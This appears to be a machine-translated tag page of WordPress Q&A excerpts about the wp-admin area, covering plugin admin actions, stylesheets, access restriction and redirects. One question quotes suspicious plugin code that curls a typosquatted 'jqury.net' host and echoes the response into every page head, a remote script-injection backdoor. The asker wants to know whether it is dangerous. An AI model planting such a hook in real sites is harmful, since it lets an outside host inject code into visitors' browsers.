Questions tagged «wp-admin»

位于WordPress网站的`wp-admin`目录中的网站管理工具。


3
我如何最好地处理自定义插件页面操作?
我经常遇到同样的烦恼,所以我想看看是否有任何想法或经验。 我创建了一个使用其自己的管理页面的插件。它必须。现在,我整理出了WP_List_Table()的内容,我必须说这很棒...但是... 自定义插件页面始终加载,admin.php?page=...除非我不希望直接从插件目录加载它们。现在,如果我从该页面执行“操作”,则需要以某种方式进行处理,然后将其重定向回该页面而不使用action参数。真的,不管我执行GET还是POST。 WP在所有内部页面上都在同一页面上执行此操作,它检查是否有动作,如果有,则对其进行处理,然后在没有动作的情况下重定向到自身。这是可能的,因为admin-header尚未在这些页面上加载。 但是,如果您尝试在自己的页面上执行此操作,则一半的管理界面已发送到浏览器,因此无法再进行重定向。显然,解决方案是直接POST / GET到另一个页面,在该页面上加载WP框架,进行处理,然后重定向回原始页面...但是...有点烦人,因为...我的原始页面是通过回调加载的,因此它在我的类的方法中运行。那好美丽。 如果我加载一个单独的页面,则必须手动添加wp-load.php并且不在类的范围内,这很烦人,在我的情况下,这尤其会困扰我,因为我只是匿名实例化了我的插件类,因此没有人可以访问它从外部。 因此,经过漫长的故事之后...有人提出了一个很好的解决方案来通过回调加载另一个页面而又没有设置整个管理界面吗? (我知道一种解决方法...我可以将一个函数挂接到其中load-....,以检查action参数,然后进行处理和重定向。但是我想知道是否有更好的方法。) 谢谢。


2
将自定义样式表添加到wp-admin
我在让我的自定义样式表在WP-ADMIN区域上工作时遇到麻烦。 plugins_url('style.css', __FILE__) );我必须在名为css的插件中创建文件夹还是将我复制.css到wp-admin/css目录中? 我尝试了两种似乎都不适合我。 什么值应该替换为__FILE__? 对不起,我对这些东西有点陌生。 /*ADDS STYLESHEET ON WP-ADMIN*/ add_action( 'admin_enqueue_scripts', 'safely_add_stylesheet_to_admin' ); function safely_add_stylesheet_to_admin() { wp_enqueue_style( 'prefix-style', plugins_url('style.css', __FILE__) ); } /*ADDS MY CUSTOM NAVIGATION BAR ON WP-ADMIN*/ add_action('admin_head', 'custom_nav'); function custom_nav(){ include('custom_nav.html'); }
21 wp-admin  css 

9
不能更改语言(仅“英语(美国)”)
WordPress应该始终允许我随时更改语言。但是,有时我会陷入这种情况,只能选择“英语(美国)”。 (设置>常规设置>网站语言) 我的期望: 我得到的是: 这是为什么?我怎样才能解决这个问题?

8
如何将仪表板访问权限仅限制为管理员?
我们将如何限制除管理员以外的所有用户对WP管理员区域的访问? 我们网站上的用户拥有自己的个人资料页面,这些页面可以完成他们所需的所有功能。 因此,管理员应该对除管理员以外的所有用户都设置限制。 怎么做?
19 wp-admin  users 


3
管理员页面重定向
如果用户访问另一个管理页面,是否可以将用户重定向到管理页面? 例如,如果用户曾经点击“所有页面” /wp-admin/edit.php?post_type=page 他们将被重定向到“添加新页面” /wp-admin/post-new.php?post_type=page

2
我在插件中找到了这个。它有什么作用?危险吗?
我在插件中找到了这个。它有什么作用?危险吗? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }



5
移动WP网站时,为什么wp-admin重定向到旧网站?
我正在将WP网站从一台主机转移到另一台主机。我复制了数据库和所有文件,创建了一个新数据库,然后导入了旧数据库。然后,我更改了wp-config文件。主页显示正常,但是当我尝试访问/ wp-admin时,它将带我回到旧站点。 新站点是一个开发服务器,我打算在该站点上线之前进行样式更改。 我对这种过渡遗漏了什么?如何使网站正确响应开发者网址?

7
在Admin中加载外部脚本,但仅针对特定帖子类型加载吗?
因此,我继续遇到此问题,而我只是在寻找最佳和最简单的解决方案来解决此问题。 我开始在许多不同的项目中使用自定义帖子类型,并通过自定义元框扩展了它们,然后通过添加自定义脚本(如jQuery事件日历选择器)进一步扩展了这些功能。除了一个关键问题,所有这些工作都很好...我不希望这些自定义jQuery脚本加载到管理员的每个页面上。 我本质上只是在寻找一种方法来在我在“编辑帖子”页面上针对特定帖子类型加载这些自定义jquery字段时。 最好的解决方案是什么? 更新1 首先,非常感谢。 实际上,让我感到震惊的是,插件开发人员无法确保这样的事情,因为我发现这是不同插件存在问题的关键原因之一。 我对此还有其他问题。例如... 我已经修改了脚本来调用if语句,如下所示: if (is_admin() && $pagenow=='post-new.php' OR $pagenow=='post.php' && $typenow=='events') 如您所见,我正在尝试进行设置,以便仅当我在“事件”的帖子类型内添加或编辑帖子时才调用脚本。 我不希望脚本在任何其他页面上加载,也不想在“事件”的帖子类型内的页面列表上运行,因此我认为if语句是正确的。 但是,问题似乎在于,仅当我在此帖子类型中创建新帖子时才加载脚本,但在编辑现有帖子时似乎无法使用。 你能测试一下,也许让我知道我做错了什么? 这是我正在使用的确切代码...也许有更好或更简单的方法可以做到这一点? <?php // INCLUDE METABOX CUSTOM JQUERY DATEPICKER 2 add_action('admin_init','load_admin_datapicker_script'); function load_admin_datapicker_script() { global $pagenow, $typenow; if (is_admin() && $pagenow=='post-new.php' OR $pagenow=='post.php' && $typenow=='events') { $ss_url = get_bloginfo('stylesheet_directory'); wp_enqueue_script('jquery'); …

4
保存/更新后如何添加管理员通知
我有一个帖子类型,使用post_save从帖子元中获取地址并从Google API中检索经/纬度坐标。我需要一种通知用户检索协调项是否存在问题的方法。我尝试使用admin_notices,但未显示任何内容: public static function update_notice() { echo "<div class='error'><p>Failed to retrieve coordinates. Please check key and address.<p></div>"; remove_action('admin_notices', 'update_notice'); } add_action('admin_notices', array('GeoPost', 'update_notice')); 我不确定是否使用不正确或使用错误的上下文。需要明确的是,在实际代码中,add_action位于同一类的另一个函数中。很好

4
如何禁用“后锁/编辑锁”?
我只想针对一种帖子类型禁用此功能,因为如果有其他用户对其进行编辑并没有什么关系(主要内容编辑区域为Ajaxified,非管理员只能看到该内容)。 我查看了核心功能,但找不到入口点。从函数中,wp_set_post_lock我猜测我必须拦截get_post_meta,但是有官方的方法吗? 还有第二个锁似乎不受过滤器的影响wp_check_post_lock_window(如答案中birgire所示)。我已经remove_filter( 'heartbeat_received', 'wp_refresh_post_lock', 10, 3 );在不同方面进行了尝试,但是它一直在受到不尊重的殴打remove_filter。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.